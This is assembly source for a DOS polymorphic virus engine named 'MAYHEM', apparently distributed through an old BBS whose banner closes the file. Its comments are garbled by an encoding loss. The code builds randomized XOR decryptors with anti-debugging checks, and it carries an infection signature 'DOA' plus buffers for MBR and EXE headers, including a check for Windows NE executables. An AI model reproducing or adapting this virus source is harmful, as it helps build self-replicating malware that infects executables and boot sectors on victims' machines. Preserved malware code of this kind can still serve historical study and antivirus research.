                                ; ⠥   ᫮  ⮣  
        MOV AX,2926h
        STOSW

        CALL GETREG
        MOV CL,3
        SHL AL,CL
        ADD AL,6
        STOSB
        MOV AX,DS:[TMPVEC-MAYHEM]
        STOSW
        mov al,@PUSHF           ; ࠭ 䫠, ⮡    ⨫
        stosb
        retn
    sub_key endp

    jmp_ok proc                 ; JZ XOR_COMMAND
        MOV AL,@POPF
        STOSB
                                        ; 室   ஢
                                        ;    , 㤠    ¿ Ŀ
        MOV DS:[FOR1-MAYHEM],DI         ;   ࠭  JZ ??
        INC BYTE PTR DS:[FOR1-MAYHEM]   ;                           
        MOV AX,0274h                    ;  JZ $+...( 2)
        STOSW
        retn
    jmp_ok endp

    int20 proc
        mov ax,20cdh            ; int 20h
        stosw
        retn
    int20 endp

                                ; ନ஢⥫  ஢뢠 
                                ; ன 室  
    DEXOR PROC                  ; xor [],*
                                ; info:    XOR  [si],REG  =  31 , 04+08*REG
                                ;               [di],REG  =  31 , 05+08*REG
                                ;               [bx],REG  =  31 , 07+08*REG

                                ;  ⥭ ࠭ 室  XOR
        MOV AX,DI               ;   XOR
        SUB AX,DS:[FOR1-MAYHEM] ; ﭨ JZ...XOR.
        DEC AX
        MOV BX,DS:[FOR1-MAYHEM] ; 㤠  ࠭
        MOV ES:[BX],AL          ; OK

        mov ds:[offset LBL1-MAYHEM],di       ;  ன JMP 横

        MOV AL,@PFX_CS          ; 䨪 CS:
        STOSB
                                ;    ॣࠬ:
                                ;  REG_GROUP - ⮫쪮  
                                ;  㯯  饭  OPERAND.
        mov  bx,[si][OPERAND]   ; 室  ᭮ ॣ  XOR
        push bx                 ;  -  襬  ᫮ Operand
        xchg bl,bh
        xor  bh,bh
        mov  al,[bx][R_GRP-MAYHEM]

        mov  ah,4               ; 4,5, 7   ᨬ  SI,DI,BX
        cmp  al,R_SI
        je   lb1
        inc  ah
        cmp  al,R_DI
        je   lb1
        add  ah,02
        lb1:

        pop bx                  ; ॣ  箬  XOR
        xor bh,bh
        mov al,[bx][R_GRP-MAYHEM]
        MOV CL,3                ; x8 + (4,5  7)
        SHL AL,CL
        add ah,al

        mov al,31h              ; 2-⮢  XOR [IndexReg],Reg
        stosw
        retn
    dexor endp

    inc_cnt proc                ; ६ ᫮ ॣ
        call GETREG
        add  al,40h
        stosb
        retn
    inc_cnt endp

    dec_cnt proc                ; ६ ᫮ ॣ
        call GETREG
        add al,48h
        stosb
        retn
    dec_cnt endp

    dec_cnt_pushf proc          ; ६ ᫮ ॣ  PUSHF
        call GETREG
        add  al,48h
        stosb
        mov al,@PUSHF
        stosb
        retn
    dec_cnt_pushf endp

    JMP_CONT PROC               ; ନ஢ ᫮ 室  த-
                                ;  XOR'  室.
        MOV AL,@POPF
        STOSB
        MOV AX,0374H            ; 室  横
        STOSW
        MOV AL,0E9h             ; 室   XOR
        STOSB

        MOV AX,DS:[LBL1-MAYHEM]         ; ன 室  XOR
        SUB AX,DI
        SUB AX,2
        STOSW
        RETN
    jmp_cont  endp

    END_VIR  PROC               ; 室  ⥫ 
        call MOV_NUMBER         ; : MOV REG,offset StartDecrypted
        call PUSHER             ; : PUSH REG
        mov al,0c3h             ;  RETN
        stosb
        retn
    end_vir endp

    ADD_DISP PROC               ; ADD Reg(XORKEY), 饭_XOR
        CALL GETREG
        CBW
        XCHG AH,AL
        ADD  AX,0C081H
        STOSW
        MOV  AX,[SI+OPERAND]    ; ࠭ - ᬥ饭   XOR
        STOSW
        RETN
    ADD_DISP ENDP

  QUEUE PROC                    ; ਪ  ஬
        MOV  AX,0C72EH          ; MOV CS:[_],JMP__
        STOSW
        MOV  AL,06H
        STOSB

        MOV  AX,DS:[VARSRC-MAYHEM]
        ADD  AX,INIT-START+4
        ADD  AX,DI
        SUB  AX,DS:[DSTADDR-MAYHEM]
        STOSW
        MOV  AX,084EBH          ; JMP SHORT $-_⠪__
        STOSW
        MOV  AX,9090H           ;     JMP $-_..._
        STOSW
        RETN
  QUEUE ENDP

;------------------------------  騥 楤 ன   --------

    getreg proc                         ; 室  頥  ॣ
                                        ;  㯯    
        xor  bh,bh
        mov  bl,[si][R_GROUP]
        mov  al,[bx][R_GRP-MAYHEM]      ; १
        retn
    getreg endp

    pusher proc                         ;   PUSH
        call GETREG
        add  al,50h
        stosb
        retn
    pusher endp

; -------------------  MUTABLE :   MAYHEM  -----------------------

        ; ------------ ࠧ ஢騪 ---------------
        ; N  ࠭   
        ; -  ----      -----------------------------
        ; 0  0..7      MOV CS:[NEXTCOMMAND],MAD_CODE
        ; 1  0..7      MOV SI,OFFSET CRYPTED
        ; 2  0..7      mov cx,(offset ENDCRYPTED-CRYPTED)/2
        ; 3  0..5      mov dx,XORKEY
        ; 4  0..4      mov ax,0000
        ; 5     5      mov es,ax
        ; 6     6      mov es:[0200h],dx
        ; 7     7      sub es:[0200h],dx
        ;              pushf
        ; 8     8      popf
        ;              jz  Okay
        ; 9     9      lazha: int 20h
        ;              okay:
        ; A     A      xor cs:[si],dx
        ; B  B..F      inc si
        ; C  B..F      inc si
        ; D  B..D      dec cx
        ; E  E..F      dec cx
        ;              pushf
        ; F  B..F      add dx,XORdis
        ; 10   10      popf
        ;              jnc okay
        ; 11   11      retn

MUTAB:
                                        ;  "  ஬"
        DW QUEUE-MAYHEM                 ;  ன騪
        DB 00,07,00                     ;  樨 0  樨 7
                                        ; ॠ쭮  㤥 ।
        DB 00                           ; ஢ 㯯 0
DSTADDR DW ?                            ; ENTRY DI    ࠭. ६
                                        ; -  室  MAYHEM.

        dw MOV_NUMBER-MAYHEM            ; MOV SI,offset CRYPTED
        db 00,07,00
        db 00
VARsrc  dw ?                            ; ᬥ饭 ஢   

        dw MOV_NUMBER-MAYHEM            ; MOV CX,(ENDCRYPTED-CRYPTED)/2
        db 00,07,00
        db 01
        dw INIT-START                   ; ࠧ 

        dw MOV_NUMBER-MAYHEM            ; mov dx,XORKEY
        db 00,05,00
        db 02
VARxor  dw ?

        dw MOV_NUMBER-MAYHEM            ; mov ax,0000
        db 00,04,00
        db 03
        dw 0000

        dw MOV_SEG_R1-MAYHEM            ; mov es,ax
        db 05,00,00
        db 03
        dw ?

        dw MOV_KEY-MAYHEM               ; mov es:[0200..0300],dx
        db 06,00,00
        db 02
        dw ?

        dw SUB_KEY-MAYHEM               ; sub es:[0200..0300],dx
        db 07,00,00
        db 02
        dw ?

        dw JMP_OK-MAYHEM                ; jz $+?
        db 08,00,00
        db 0FFh
        dw 0004

        dw INT20-MAYHEM                 ; int  20h
        db 09,0,0
        db 00
        dw 0000

        dw DEXOR-MAYHEM                 ; xor [*],*
        db 0AH,00,00
        db 0FFh                         ; 㯯 0FFh (᫮) -
        dw 0002                         ;  ॠ 2 ॣ:Low=SRC,Hi=DST

        dw INC_CNT-MAYHEM               ; inc address
        db 0BH,04,00
        db 00
        dw ?

        dw DEC_CNT-MAYHEM               ; dec size
        db 0Bh,02,00
        db 01
        dw ?

        dw INC_CNT-MAYHEM               ; inc address (   INC:  +2)
        db 0Bh,04,00
        db 00
        dw ?

        dw DEC_CNT_PUSHF-MAYHEM         ; dec size \ PUSHF
        db 0Eh,00,00
        db 01
        dw ?

        dw ADD_DISP-MAYHEM              ; ADD XorKey,XorDispl
        db 0Bh,04,00
        db 02
VARdis  dw ?                            ; ᬥ饭   XOR

        dw JMP_CONT-MAYHEM              ; த 横
        db 10h,00,00
        db ?
        dw ?

        dw END_VIR-MAYHEM               ; 室  ஢ ⥫
        db 11h,00,00
        db 00
VARretf dw ?                            ;  砫 ⥫  室

        ENDMUTAB DW 0000                ;    MAYHEM

        R_USED db 00010000b             ;  ᯮ짮 ॣ஢

        R_MASK db 11001000b             ; .0 ( ॣ)
               db 11101111b             ; .1 ( ॣ, ஬ SP)
               db 11101111b             ; .2
               db 11101111b             ; .3
               db 0                     ;  ⠡ ᮪

        R_GRP  db 8 dup(0)              ; १ ९ ॣ஢ 
                                        ;  㯯

        lbl1   dw ?                     ;  砫  XOR
        for1   dw ?                     ;  饣 ࠭ JMP
        TMPVEC DW ?                     ; 襬/⠥    IntTable

MAYHEM_OFF:                             ;  ...
        RETF
;----------------------------------------------------------------------------
        DB  (OFFSET INIT-START) MOD 2+2 DUP(90H)        ;  ADJUST TO EVEN
;------  室 ஢騪 (㤥 ନ஢ MAYHEM') ----------
INIT:
        JMP  START
; 
INFSIGN  db 'DOA'
                                ;    
ENDALL:
OUTSIDEDATA:
                ORIGINAL    DB 3 DUP(?)         ; 砫 ࠡ뢠 䠩
DISKSECTOR:                                     ; MBR
                EXEHDRCONT  DB 15H DUP(?)       ;
                OFFS400     DW ?                ; 'NE'  ஢થ WinEXE
                FLEN        DW ?,?              ;  , ࠧ 䠩
                FSIZE       DW ?,?
                CURRDISK    DB ?                ;  ᪠

                BODYPREPARE DW (INIT-Start)/2 dup(?)    ;  ஢ ⥫
THEENDATALL:
END START0


; 
;  Remember Where You Saw This Phile First 
; [=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]
; 
